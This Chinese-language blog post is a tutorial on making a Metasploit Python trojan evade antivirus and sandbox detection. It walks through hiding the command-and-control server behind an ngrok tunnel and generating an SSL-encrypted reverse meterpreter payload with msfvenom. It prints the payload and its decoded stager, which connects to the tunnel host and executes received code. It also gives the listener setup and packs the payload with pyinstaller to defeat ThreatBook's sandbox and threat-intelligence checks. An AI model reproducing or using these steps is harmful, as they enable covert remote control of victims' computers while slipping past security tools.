本文講述如何免殺msf木馬並成功上線,主要內容包括隱藏c2、過靜態查殺、過行為查殺
0x00. 隱藏c2
為了隱藏c2,我們這里使用了ngrok的內網穿透,獲得了一個ngrok提供的域名(ngrok可在官網下載:https://ngrok.com/):
執行以下命令,將本地4455端口映射到公網的端口:
./ngrok tcp 4455

這樣我們就獲得了 6.tcp.ngrok.io這個域名,以及18260這個端口
0x01. 過行為查殺
使用msfvenom命令生成python木馬(為了繞過流量檢測,使用了reverse_tcp_ssl加密流量)
msfvenom -p python/meterpreter/reverse_tcp_ssl LHOST=6.tcp.ngrok.io LPORT=18260 -f raw -o payload.py --platform python -a python
生成的payload.py的內容如下:
exec(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('aW1wb3J0IHpsaWIsYmFzZTY0LHNzbCxzb2NrZXQsc3RydWN0LHRpbWUKZm9yIHggaW4gcmFuZ2UoMTApOgoJdHJ5OgoJCXNvPXNvY2tldC5zb2NrZXQoMiwxKQoJCXNvLmNvbm5lY3QoKCc2LnRjcC5uZ3Jvay5pbycsMTgyNjApKQoJCXM9c3NsLndyYXBfc29ja2V0KHNvKQoJCWJyZWFrCglleGNlcHQ6CgkJdGltZS5zbGVlcCg1KQpsPXN0cnVjdC51bnBhY2soJz5JJyxzLnJlY3YoNCkpWzBdCmQ9cy5yZWN2KGwpCndoaWxlIGxlbihkKTxsOgoJZCs9cy5yZWN2KGwtbGVuKGQpKQpleGVjKHpsaWIuZGVjb21wcmVzcyhiYXNlNjQuYjY0ZGVjb2RlKGQpKSx7J3MnOnN9KQo=')[0]))
將其中的base64編碼后的字符串進行解碼,得到如下內容,並保存為msf.py:
1 import zlib,base64,ssl,socket,struct,time 2 for x in range(10): 3 try: 4 so=socket.socket(2,1) 5 so.connect(('6.tcp.ngrok.io',18260)) 6 s=ssl.wrap_socket(so) 7 break 8 except: 9 time.sleep(5) 10 l=struct.unpack('>I',s.recv(4))[0] 11 d=s.recv(l) 12 while len(d)<l: 13 d+=s.recv(l-len(d)) 14 exec(zlib.decompress(base64.b64decode(d)),{'s':s})
此時,msfconsole中開啟監聽(由於使用了內網穿透,所以這里的lhost是127.0.0.1):
1 use exploit/multi/handler 2 set payload python/meterpreter/reverse_tcp_ssl 3 set lhost 127.0.0.1 4 set lport 4455 5 exloit
此時,運行msf.py,msf可成功上線:

0x02、過靜態查殺
把msf.py直接上傳到微步在線

被微步認為是惡意的原因:命中了威脅情報IOC


其實最簡單的處理辦法就是把ip改成自己vps的ip,但是這么一來,就無法做到隱藏c2的目的了
我們來分析一下,為什么會被情報判定系統命中呢:
- 1. 明文上傳python文件,可以直接通過代碼獲取ngrok的域名
- 2. 微步在沙箱中運行了該python文件,檢測了外連ip
那么如何解決呢?
- 1. 加密,或上傳二進制文件
- 2. 讓微步的沙箱無法運行我們上傳的文件
1. 加密,或上傳二進制文件
使用pyinstaller把python文件轉成exe的二進制文件
安裝pyinstaller:
pip install pyinstaller
編譯msf.py(使用-F參數只生成一個文件):
pyinstaller -F msf.py
執行完畢后,會在dist目錄下生成msf.exe(在MacOS下生成的是msf)
然后執行msf.exe
如果報錯,no moudel named 'imp',需要在msf.py的import語句里再導入imp模塊



檢出率 2/25,被判定為安全
微步的沙箱為windows7系統,由於缺少某些必要的dll文件,導致無法運行此exe文件,因此無法命中ngrok域名 IOC情報
上線:

----------------------------------------
如果上傳微步時選的win10環境,會被查殺,等我下次再想辦法繞過一下,現在去吃飯了
